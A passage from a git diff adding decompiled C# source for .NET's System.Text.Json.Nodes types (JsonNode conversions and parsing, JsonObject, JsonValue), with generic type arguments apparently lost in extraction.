byte?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator char(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator char?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator DateTime(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator DateTime?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator DateTimeOffset(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator DateTimeOffset?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator decimal(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator decimal?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator double(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator double?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator Guid(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator Guid?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator short(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator short?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator int(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator int?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator long(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator long?(JsonNode? value) + { + return value?.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator sbyte(JsonNode value) + { + return value.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator sbyte?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator float(JsonNode value) + { + return value.GetValue(); + } + + public static explicit operator float?(JsonNode? value) + { + return value?.GetValue(); + } + + public static explicit operator string?(JsonNode? value) + { + return value?.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator ushort(JsonNode value) + { + return value.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator ushort?(JsonNode? value) + { + return value?.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator uint(JsonNode value) + { + return value.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator uint?(JsonNode? value) + { + return value?.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator ulong(JsonNode value) + { + return value.GetValue(); + } + + [CLSCompliant(false)] + public static explicit operator ulong?(JsonNode? value) + { + return value?.GetValue(); + } + + public static JsonNode? Parse(ref Utf8JsonReader reader, JsonNodeOptions? nodeOptions = null) + { + JsonElement element = JsonElement.ParseValue(ref reader); + return JsonNodeConverter.Create(element, nodeOptions); + } + + public static JsonNode? Parse([StringSyntax("Json")] string json, JsonNodeOptions? nodeOptions = null, JsonDocumentOptions documentOptions = default(JsonDocumentOptions)) + { + if (json == null) + { + ThrowHelper.ThrowArgumentNullException("json"); + } + JsonElement element = JsonElement.ParseValue(json, documentOptions); + return JsonNodeConverter.Create(element, nodeOptions); + } + + public static JsonNode? Parse(ReadOnlySpan utf8Json, JsonNodeOptions? nodeOptions = null, JsonDocumentOptions documentOptions = default(JsonDocumentOptions)) + { + JsonElement element = JsonElement.ParseValue(utf8Json, documentOptions); + return JsonNodeConverter.Create(element, nodeOptions); + } + + public static JsonNode? Parse(Stream utf8Json, JsonNodeOptions? nodeOptions = null, JsonDocumentOptions documentOptions = default(JsonDocumentOptions)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + JsonElement element = JsonElement.ParseValue(utf8Json, documentOptions); + return JsonNodeConverter.Create(element, nodeOptions); + } + + public static async Task ParseAsync(Stream utf8Json, JsonNodeOptions? nodeOptions = null, JsonDocumentOptions documentOptions = default(JsonDocumentOptions), CancellationToken cancellationToken = default(CancellationToken)) + { + if (utf8Json == null) + { + ThrowHelper.ThrowArgumentNullException("utf8Json"); + } + return JsonNodeConverter.Create((await JsonDocument.ParseAsyncCoreUnrented(utf8Json, documentOptions, cancellationToken).ConfigureAwait(continueOnCapturedContext: false)).RootElement, nodeOptions); + } + + public string ToJsonString(JsonSerializerOptions? options = null) + { + using PooledByteBufferWriter pooledByteBufferWriter = WriteToPooledBuffer(options, options?.GetWriterOptions() ?? default(JsonWriterOptions)); + return JsonHelpers.Utf8GetString(pooledByteBufferWriter.WrittenMemory.Span); + } + + public override string ToString() + { + if (this is JsonValue) + { + if (this is JsonValue jsonValue) + { + return jsonValue.Value; + } + if (this is JsonValue jsonValue2 && jsonValue2.Value.ValueKind == JsonValueKind.String) + { + return jsonValue2.Value.GetString(); + } + } + using PooledByteBufferWriter pooledByteBufferWriter = WriteToPooledBuffer(null, new JsonWriterOptions + { + Indented = true + }); + return JsonHelpers.Utf8GetString(pooledByteBufferWriter.WrittenMemory.Span); + } + + public abstract void WriteTo(Utf8JsonWriter writer, JsonSerializerOptions? options = null); + + internal PooledByteBufferWriter WriteToPooledBuffer(JsonSerializerOptions options = null, JsonWriterOptions writerOptions = default(JsonWriterOptions), int bufferSize = 16384) + { + PooledByteBufferWriter pooledByteBufferWriter = new PooledByteBufferWriter(bufferSize); + using Utf8JsonWriter writer = new Utf8JsonWriter(pooledByteBufferWriter, writerOptions); + WriteTo(writer, options); + return pooledByteBufferWriter; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonNodeOptions.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonNodeOptions.cs new file mode 100644 index 0000000..d4b9a99 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonNodeOptions.cs @@ -0,0 +1,6 @@ +namespace System.Text.Json.Nodes; + +public struct JsonNodeOptions +{ + public bool PropertyNameCaseInsensitive { get; set; } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonObject.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonObject.cs new file mode 100644 index 0000000..4e9d8e4 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonObject.cs @@ -0,0 +1,389 @@ +using System.Collections; +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Converters; +using System.Threading; + +namespace System.Text.Json.Nodes; + +[DebuggerDisplay("JsonObject[{Count}]")] +[DebuggerTypeProxy(typeof(DebugView))] +public sealed class JsonObject : JsonNode, IDictionary, ICollection>, IEnumerable>, IEnumerable +{ + [ExcludeFromCodeCoverage] + private sealed class DebugView + { + [DebuggerDisplay("{Display,nq}")] + private struct DebugViewProperty + { + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + public JsonNode Value; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public string PropertyName; + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public string Display + { + get + { + if (Value == null) + { + return PropertyName + " = null"; + } + if (Value is JsonValue) + { + return PropertyName + " = " + Value.ToJsonString(); + } + if (Value is JsonObject jsonObject) + { + return $"{PropertyName} = JsonObject[{jsonObject.Count}]"; + } + JsonArray jsonArray = (JsonArray)Value; + return $"{PropertyName} = JsonArray[{jsonArray.Count}]"; + } + } + } + + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + private readonly JsonObject _node; + + public string Json => _node.ToJsonString(); + + public string Path => _node.GetPath(); + + [DebuggerBrowsable(DebuggerBrowsableState.RootHidden)] + private DebugViewProperty[] Items + { + get + { + DebugViewProperty[] array = new DebugViewProperty[_node.Count]; + int num = 0; + foreach (KeyValuePair item in _node) + { + array[num].PropertyName = item.Key; + array[num].Value = item.Value; + num++; + } + return array; + } + } + + public DebugView(JsonObject node) + { + _node = node; + } + } + + private JsonElement? _jsonElement; + + private JsonPropertyDictionary _dictionary; + + internal JsonPropertyDictionary Dictionary + { + get + { + JsonPropertyDictionary dictionary = _dictionary; + if (dictionary == null) + { + return InitializeDictionary(); + } + return dictionary; + } + } + + public int Count => Dictionary.Count; + + ICollection IDictionary.Keys => Dictionary.Keys; + + ICollection IDictionary.Values => Dictionary.Values; + + bool ICollection>.IsReadOnly => false; + + public JsonObject(JsonNodeOptions? options = null) + : base(options) + { + } + + public JsonObject(IEnumerable> properties, JsonNodeOptions? options = null) + : this(options) + { + foreach (KeyValuePair property in properties) + { + Add(property.Key, property.Value); + } + } + + public static JsonObject? Create(JsonElement element, JsonNodeOptions? options = null) + { + return element.ValueKind switch + { + JsonValueKind.Null => null, + JsonValueKind.Object => new JsonObject(element, options), + _ => throw new InvalidOperationException(System.SR.Format(System.SR.NodeElementWrongType, "Object")), + }; + } + + internal JsonObject(JsonElement element, JsonNodeOptions? options = null) + : this(options) + { + _jsonElement = element; + } + + internal override JsonNode DeepCloneCore() + { + GetUnderlyingRepresentation(out var dictionary, out var jsonElement); + if (dictionary == null) + { + if (!jsonElement.HasValue) + { + return new JsonObject(base.Options); + } + return new JsonObject(jsonElement.Value.Clone(), base.Options); + } + bool caseInsensitive = base.Options.HasValue && base.Options.Value.PropertyNameCaseInsensitive; + JsonObject jsonObject = new JsonObject(base.Options) + { + _dictionary = new JsonPropertyDictionary(caseInsensitive, dictionary.Count) + }; + foreach (KeyValuePair item in dictionary) + { + jsonObject.Add(item.Key, item.Value?.DeepCloneCore()); + } + return jsonObject; + } + + internal string GetPropertyName(JsonNode node) + { + KeyValuePair? keyValuePair = Dictionary.FindValue(node); + if (!keyValuePair.HasValue) + { + return string.Empty; + } + return keyValuePair.Value.Key; + } + + public bool TryGetPropertyValue(string propertyName, out JsonNode? jsonNode) + { + return ((IDictionary)this).TryGetValue(propertyName, out jsonNode); + } + + public override void WriteTo(Utf8JsonWriter writer, JsonSerializerOptions? options = null) + { + if (writer == null) + { + ThrowHelper.ThrowArgumentNullException("writer"); + } + GetUnderlyingRepresentation(out var dictionary, out var jsonElement); + if (dictionary == null && jsonElement.HasValue) + { + jsonElement.Value.WriteTo(writer); + return; + } + writer.WriteStartObject(); + foreach (KeyValuePair item in Dictionary) + { + writer.WritePropertyName(item.Key); + if (item.Value == null) + { + writer.WriteNullValue(); + } + else + { + item.Value.WriteTo(writer, options); + } + } + writer.WriteEndObject(); + } + + internal override JsonValueKind GetValueKindCore() + { + return JsonValueKind.Object; + } + + internal override bool DeepEqualsCore(JsonNode node) + { + if (node != null && !(node is JsonArray)) + { + if (!(node is JsonValue jsonValue)) + { + if (node is JsonObject jsonObject) + { + JsonPropertyDictionary dictionary = Dictionary; + JsonPropertyDictionary dictionary2 = jsonObject.Dictionary; + if (dictionary.Count != dictionary2.Count) + { + return false; + } + foreach (KeyValuePair item in dictionary) + { + JsonNode node2 = dictionary2[item.Key]; + if (!JsonNode.DeepEquals(item.Value, node2)) + { + return false; + } + } + return true; + } + return false; + } + return jsonValue.DeepEqualsCore(this); + } + return false; + } + + internal JsonNode GetItem(string propertyName) + { + if (TryGetPropertyValue(propertyName, out JsonNode jsonNode)) + { + return jsonNode; + } + return null; + } + + internal override void GetPath(List path, JsonNode child) + { + if (child != null) + { + string key = Dictionary.FindValue(child).Value.Key; + if (key.AsSpan().ContainsSpecialCharacters()) + { + path.Add("['" + key + "']"); + } + else + { + path.Add("." + key); + } + } + base.Parent?.GetPath(path, this); + } + + internal void SetItem(string propertyName, JsonNode value) + { + bool valueAlreadyInDictionary; + JsonNode item = Dictionary.SetValue(propertyName, value, out valueAlreadyInDictionary); + if (!valueAlreadyInDictionary) + { + value?.AssignParent(this); + } + DetachParent(item); + } + + private void DetachParent(JsonNode item) + { + if (item != null) + { + item.Parent = null; + } + } + + public void Add(string propertyName, JsonNode? value) + { + Dictionary.Add(propertyName, value); + value?.AssignParent(this); + } + + public void Add(KeyValuePair property) + { + Add(property.Key, property.Value); + } + + public void Clear() + { + JsonPropertyDictionary dictionary = _dictionary; + if (dictionary == null) + { + _jsonElement = null; + return; + } + foreach (JsonNode item in dictionary.GetValueCollection()) + { + DetachParent(item); + } + dictionary.Clear(); + } + + public bool ContainsKey(string propertyName) + { + return Dictionary.ContainsKey(propertyName); + } + + public bool Remove(string propertyName) + { + if (propertyName == null) + { + ThrowHelper.ThrowArgumentNullException("propertyName"); + } + JsonNode existing; + bool flag = Dictionary.TryRemoveProperty(propertyName, out existing); + if (flag) + { + DetachParent(existing); + } + return flag; + } + + bool ICollection>.Contains(KeyValuePair item) + { + return Dictionary.Contains(item); + } + + void ICollection>.CopyTo(KeyValuePair[] array, int index) + { + Dictionary.CopyTo(array, index); + } + + public IEnumerator> GetEnumerator() + { + return Dictionary.GetEnumerator(); + } + + bool ICollection>.Remove(KeyValuePair item) + { + return Remove(item.Key); + } + + bool IDictionary.TryGetValue(string propertyName, out JsonNode jsonNode) + { + return Dictionary.TryGetValue(propertyName, out jsonNode); + } + + IEnumerator IEnumerable.GetEnumerator() + { + return Dictionary.GetEnumerator(); + } + + private JsonPropertyDictionary InitializeDictionary() + { + GetUnderlyingRepresentation(out var dictionary, out var jsonElement); + if (dictionary == null) + { + bool caseInsensitive = base.Options.HasValue && base.Options.Value.PropertyNameCaseInsensitive; + dictionary = new JsonPropertyDictionary(caseInsensitive); + if (jsonElement.HasValue) + { + foreach (JsonProperty item in jsonElement.Value.EnumerateObject()) + { + JsonNode jsonNode = JsonNodeConverter.Create(item.Value, base.Options); + if (jsonNode != null) + { + jsonNode.Parent = this; + } + dictionary.Add(new KeyValuePair(item.Name, jsonNode)); + } + } + _dictionary = dictionary; + Interlocked.MemoryBarrier(); + _jsonElement = null; + } + return dictionary; + } + + private void GetUnderlyingRepresentation(out JsonPropertyDictionary dictionary, out JsonElement? jsonElement) + { + jsonElement = _jsonElement; + Interlocked.MemoryBarrier(); + dictionary = _dictionary; + } +} diff --git a/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValue.cs b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValue.cs new file mode 100644 index 0000000..1763989 --- /dev/null +++ b/decompiled/Libraries/system.text.json/System.Text.Json.Nodes/JsonValue.cs @@ -0,0 +1,686 @@ +using System.Collections.Generic; +using System.Diagnostics; +using System.Diagnostics.CodeAnalysis; +using System.Text.Json.Serialization.Metadata; + +namespace System.Text.Json.Nodes; + +public abstract class JsonValue : JsonNode +{ + internal const string CreateUnreferencedCodeMessage = "Creating JsonValue instances with non-primitive types is not compatible with trimming. It can result in non-primitive types being serialized, which may have their members trimmed."; + + internal const string CreateDynamicCodeMessage = "Creating JsonValue instances with non-primitive types requires generating code at runtime."; + + public static JsonValue Create(bool value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.BooleanConverter); + } + + public static JsonValue? Create(bool? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.BooleanConverter); + } + + public static JsonValue Create(byte value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.ByteConverter); + } + + public static JsonValue? Create(byte? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.ByteConverter); + } + + public static JsonValue Create(char value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.CharConverter); + } + + public static JsonValue? Create(char? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.CharConverter); + } + + public static JsonValue Create(DateTime value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.DateTimeConverter); + } + + public static JsonValue? Create(DateTime? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.DateTimeConverter); + } + + public static JsonValue Create(DateTimeOffset value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.DateTimeOffsetConverter); + } + + public static JsonValue? Create(DateTimeOffset? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.DateTimeOffsetConverter); + } + + public static JsonValue Create(decimal value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.DecimalConverter); + } + + public static JsonValue? Create(decimal? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.DecimalConverter); + } + + public static JsonValue Create(double value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.DoubleConverter); + } + + public static JsonValue? Create(double? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.DoubleConverter); + } + + public static JsonValue Create(Guid value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.GuidConverter); + } + + public static JsonValue? Create(Guid? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.GuidConverter); + } + + public static JsonValue Create(short value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.Int16Converter); + } + + public static JsonValue? Create(short? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.Int16Converter); + } + + public static JsonValue Create(int value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.Int32Converter); + } + + public static JsonValue? Create(int? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.Int32Converter); + } + + public static JsonValue Create(long value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.Int64Converter); + } + + public static JsonValue? Create(long? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.Int64Converter); + } + + [CLSCompliant(false)] + public static JsonValue Create(sbyte value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.SByteConverter); + } + + [CLSCompliant(false)] + public static JsonValue? Create(sbyte? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.SByteConverter); + } + + public static JsonValue Create(float value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.SingleConverter); + } + + public static JsonValue? Create(float? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.SingleConverter); + } + + [return: NotNullIfNotNull("value")] + public static JsonValue? Create(string? value, JsonNodeOptions? options = null) + { + if (value == null) + { + return null; + } + return new JsonValuePrimitive(value, JsonMetadataServices.StringConverter); + } + + [CLSCompliant(false)] + public static JsonValue Create(ushort value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.UInt16Converter); + } + + [CLSCompliant(false)] + public static JsonValue? Create(ushort? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.UInt16Converter); + } + + [CLSCompliant(false)] + public static JsonValue Create(uint value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.UInt32Converter); + } + + [CLSCompliant(false)] + public static JsonValue? Create(uint? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.UInt32Converter); + } + + [CLSCompliant(false)] + public static JsonValue Create(ulong value, JsonNodeOptions? options = null) + { + return new JsonValuePrimitive(value, JsonMetadataServices.UInt64Converter); + } + + [CLSCompliant(false)] + public static JsonValue? Create(ulong? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + return new JsonValuePrimitive(value.Value, JsonMetadataServices.UInt64Converter); + } + + public static JsonValue? Create(JsonElement value, JsonNodeOptions? options = null) + { + if (value.ValueKind == JsonValueKind.Null) + { + return null; + } + VerifyJsonElementIsNotArrayOrObject(ref value); + return new JsonValuePrimitive(value, JsonMetadataServices.JsonElementConverter); + } + + public static JsonValue? Create(JsonElement? value, JsonNodeOptions? options = null) + { + if (!value.HasValue) + { + return null; + } + JsonElement element = value.Value; + if (element.ValueKind == JsonValueKind.Null) + { + return null; + } + VerifyJsonElementIsNotArrayOrObject(ref element); + return new JsonValuePrimitive(element, JsonMetadataServices.JsonElementConverter); + } + + private protected JsonValue(JsonNodeOptions? options = null) + : base(options) + { + } + + [RequiresUnreferencedCode("Creating JsonValue instances with non-primitive types is not compatible with trimming. It can result in non-primitive types being serialized, which may have their members trimmed. Use the overload that takes a JsonTypeInfo, or make sure all of the required types are preserved.")] + [RequiresDynamicCode("Creating JsonValue instances with non-primitive types requires generating code at runtime.")] + public static JsonValue? Create(T? value, JsonNodeOptions? options = null) + { + if (value == null) + { + return null; + } + if (value is JsonElement) + { + JsonElement element = (JsonElement)((((object)value) is JsonElement) ? ((object)value) : null); + if (element.ValueKind == JsonValueKind.Null) + { + return null; + } + VerifyJsonElementIsNotArrayOrObject(ref element); + return new JsonValuePrimitive(element, JsonMetadataServices.JsonElementConverter, options); + } + JsonTypeInfo jsonTypeInfo = (JsonTypeInfo)JsonSerializerOptions.Default.GetTypeInfo(typeof(T)); + return new JsonValueCustomized(value, jsonTypeInfo, options); + } + + public static JsonValue? Create(T? value, JsonTypeInfo jsonTypeInfo, JsonNodeOptions? options = null) + { + if (jsonTypeInfo == null) + { + ThrowHelper.ThrowArgumentNullException("jsonTypeInfo"); + } + if (value == null) + { + return null; + } + if (value is JsonElement) + { + JsonElement element = (JsonElement)((((object)value) is JsonElement) ? ((object)value) : null); + if (element.ValueKind == JsonValueKind.Null) + { + return null; + } + VerifyJsonElementIsNotArrayOrObject(ref element); + } + jsonTypeInfo.EnsureConfigured(); + return new JsonValueCustomized(value, jsonTypeInfo, options); + } + + internal override void GetPath(List path, JsonNode child) + { + base.Parent?.GetPath(path, this); + } + + public abstract bool TryGetValue([NotNullWhen(true)] out T? value); + + private static void VerifyJsonElementIsNotArrayOrObject(ref JsonElement element) + { + JsonValueKind valueKind = element.ValueKind; + if (valueKind - 1 <= JsonValueKind.Object) + { + ThrowHelper.ThrowInvalidOperationException_NodeElementCannotBeObjectOrArray(); + } + } +} +[DebuggerDisplay("{ToJsonString(),nq}")] +[DebuggerTypeProxy(typeof(JsonValue<>.DebugView))] +internal abstract class JsonValue : JsonValue +{ + [ExcludeFromCodeCoverage] + [DebuggerDisplay("{Json,nq}")] + private sealed class DebugView + { + [DebuggerBrowsable(DebuggerBrowsableState.Never)] + public JsonValue _node; + + public string Json => _node.ToJsonString(); + + public string Path => _node.GetPath(); + + public TValue Value => _node.Value; + + public DebugView(JsonValue node) + { + _node = node; + } + } + + internal readonly TValue Value; + + protected JsonValue(TValue value, JsonNodeOptions? options = null) + : base(options) + { + if (value is JsonNode) + { + ThrowHelper.ThrowArgumentException_NodeValueNotAllowed("value"); + } + Value = value; + } + + public override T GetValue() + { + TValue value = Value; + if (value is T) + { + return (T)((((object)value) is T) ? ((object)value) : null); + } + if (Value is JsonElement) + { + return ConvertJsonElement(); + } + throw new InvalidOperationException(System.SR.Format(System.SR.NodeUnableToConvert, Value.GetType(), typeof(T))); + } + + public override bool TryGetValue([NotNullWhen(true)] out T value) + { + TValue value2 = Value; + if (value2 is T val) + { + value = val; + return true; + } + if (Value is JsonElement) + { + return TryConvertJsonElement(out value); + } + value = default(T); + return false; + } + + internal sealed override JsonValueKind GetValueKindCore() + { + TValue value = Value; + if (value is JsonElement jsonElement) + { + return jsonElement.ValueKind; + } + using PooledByteBufferWriter pooledByteBufferWriter = WriteToPooledBuffer(); + return JsonElement.ParseValue(pooledByteBufferWriter.WrittenMemory.Span, default(JsonDocumentOptions)).ValueKind; + } + + internal sealed override bool DeepEqualsCore(JsonNode otherNode) + { + if (otherNode == null) + { + return false; + } + TValue value = Value; + ReadOnlyMemory readOnlyMemory; + if (value is JsonElement jsonElement && otherNode is JsonValue { Value: var value2 }) + { + if (jsonElement.ValueKind != value2.ValueKind) + { + return false; + } + switch (jsonElement.ValueKind) + { + case JsonValueKind.True: + case JsonValueKind.False: + case JsonValueKind.Null: + return true; + case JsonValueKind.String: + return jsonElement.ValueEquals(value2.GetString()); + case JsonValueKind.Number: + { + readOnlyMemory = jsonElement.GetRawValue(); + ReadOnlySpan span = readOnlyMemory.Span; + readOnlyMemory = value2.GetRawValue(); + return span.SequenceEqual(readOnlyMemory.Span); + } + default: + return false; + } + } + using PooledByteBufferWriter pooledByteBufferWriter = WriteToPooledBuffer(); + using PooledByteBufferWriter pooledByteBufferWriter2 = otherNode.WriteToPooledBuffer(); + readOnlyMemory = pooledByteBufferWriter.WrittenMemory; + ReadOnlySpan span2 = readOnlyMemory.Span; + readOnlyMemory = pooledByteBufferWriter2.WrittenMemory; + return span2.SequenceEqual(readOnlyMemory.Span); + } + + internal TypeToConvert ConvertJsonElement() + { + JsonElement jsonElement = (JsonElement)(object)Value; + switch (jsonElement.ValueKind) + { + case JsonValueKind.Number: + if (typeof(TypeToConvert) == typeof(int) || typeof(TypeToConvert) == typeof(int?)) + { + return (TypeToConvert)(object)jsonElement.GetInt32(); + } + if (typeof(TypeToConvert) == typeof(long) || typeof(TypeToConvert) == typeof(long?)) + { + return (TypeToConvert)(object)jsonElement.GetInt64(); + } + if (typeof(TypeToConvert) == typeof(double) || typeof(TypeToConvert) == typeof(double?)) + { + return (TypeToConvert)(object)jsonElement.GetDouble(); + } + if (typeof(TypeToConvert) == typeof(short) || typeof(TypeToConvert) == typeof(short?)) + { + return (TypeToConvert)(object)jsonElement.GetInt16(); + } + if (typeof(TypeToConvert) == typeof(decimal) || typeof(TypeToConvert) == typeof(decimal?)) + { + return (TypeToConvert)(object)jsonElement.GetDecimal(); + } + if (typeof(TypeToConvert) == typeof(byte) || typeof(TypeToConvert) == typeof(byte?)) + { + return (TypeToConvert)(object)jsonElement.GetByte(); + } + if (typeof(TypeToConvert) == typeof(float) || typeof(TypeToConvert) == typeof(float?)) + { + return (TypeToConvert)(object)jsonElement.GetSingle(); + } + if (typeof(TypeToConvert) == typeof(uint) || typeof(TypeToConvert) == typeof(uint?)) + { + return (TypeToConvert)(object)jsonElement.GetUInt32(); + } + if (typeof(TypeToConvert) == typeof(ushort) || typeof(TypeToConvert) == typeof(ushort?)) + { + return (TypeToConvert)(object)jsonElement.GetUInt16(); + } + if (typeof(TypeToConvert) == typeof(ulong) || typeof(TypeToConvert) == typeof(ulong?)) + { + return (TypeToConvert)(object)jsonElement.GetUInt64(); + } + if (typeof(TypeToConvert) == typeof(sbyte) || typeof(TypeToConvert) == typeof(sbyte?)) + { + return (TypeToConvert)(object)jsonElement.GetSByte(); + } + break; + case JsonValueKind.String: + if (typeof(TypeToConvert) == typeof(string)) + { + return (TypeToConvert)(object)jsonElement.GetString(); + } + if (typeof(TypeToConvert) == typeof(DateTime) || typeof(TypeToConvert) == typeof(DateTime?)) + { + return (TypeToConvert)(object)jsonElement.GetDateTime(); + } + if (typeof(TypeToConvert) == typeof(DateTimeOffset) || typeof(TypeToConvert) == typeof(DateTimeOffset?)) + { + return (TypeToConvert)(object)jsonElement.GetDateTimeOffset(); + } + if (typeof(TypeToConvert) == typeof(Guid) || typeof(TypeToConvert) == typeof(Guid?)) + { + return (TypeToConvert)(object)jsonElement.GetGuid(); + } + if (typeof(TypeToConvert) == typeof(char) || typeof(TypeToConvert) == typeof(char?)) + { + string text = jsonElement.GetString(); + if (text.Length == 1) + { + return (TypeToConvert)(object)text[0]; + } + } + break; + case JsonValueKind.True: + case JsonValueKind.False: + if (typeof(TypeToConvert) == typeof(bool) || typeof(TypeToConvert) == typeof(bool?)) + { + return (TypeToConvert)(object)jsonElement.GetBoolean(); + } + break; + } + throw new InvalidOperationException(System.SR.Format(System.SR.NodeUnableToConvertElement, jsonElement.ValueKind, typeof(TypeToConvert))); + } + + internal bool TryConvertJsonElement([NotNullWhen(true)] out TypeToConvert result) + { + JsonElement jsonElement = (JsonElement)(object)Value; + switch (jsonElement.ValueKind) + { + case JsonValueKind.Number: + if (typeof(TypeToConvert) == typeof(int) || typeof(TypeToConvert) == typeof(int?)) + { + int value; + bool result2 = jsonElement.TryGetInt32(out value); + result = (TypeToConvert)(object)value; + return result2; + } + if (typeof(TypeToConvert) == typeof(long) || typeof(TypeToConvert) == typeof(long?)) + { + long value2; + bool result2 = jsonElement.TryGetInt64(out value2); + result = (TypeToConvert)(object)value2; + return result2; + } + if (typeof(TypeToConvert) == typeof(double) || typeof(TypeToConvert) == typeof(double?)) + { + double value3; + bool result2 = jsonElement.TryGetDouble(out value3); + result = (TypeToConvert)(object)value3; + return result2; + } + if (typeof(TypeToConvert) == typeof(short) || typeof(TypeToConvert) == typeof(short?)) + { + short value4; + bool result2 = jsonElement.TryGetInt16(out value4); + result = (TypeToConvert)(object)value4; + return result2; + } + if (typeof(TypeToConvert) == typeof(decimal) || typeof(TypeToConvert) == typeof(decimal?)) + { + decimal value5; + bool result2 = jsonElement.TryGetDecimal(out value5); + result = (TypeToConvert)(object)value5; + return result2; + } + if (typeof(TypeToConvert) == typeof(byte) || typeof(TypeToConvert) == typeof(byte?)) + { + byte value6; + bool result2 = jsonElement.TryGetByte(out value6); + result = (TypeToConvert)(object)value6; + return result2; + } + if (typeof(TypeToConvert) == typeof(float) || typeof(TypeToConvert) == typeof(float?)) + { + float value7; + bool result2 = jsonElement.TryGetSingle(out value7); + result = (TypeToConvert)(object)value7; + return result2; + } + if (typeof(TypeToConvert) == typeof(uint) || typeof(TypeToConvert) == typeof(uint?)) + { + uint value8; + bool result2 = jsonElement.TryGetUInt32(out value8); + result = (TypeToConvert)(object)value8; + return result2; + } + if (typeof(TypeToConvert) == typeof(ushort) || 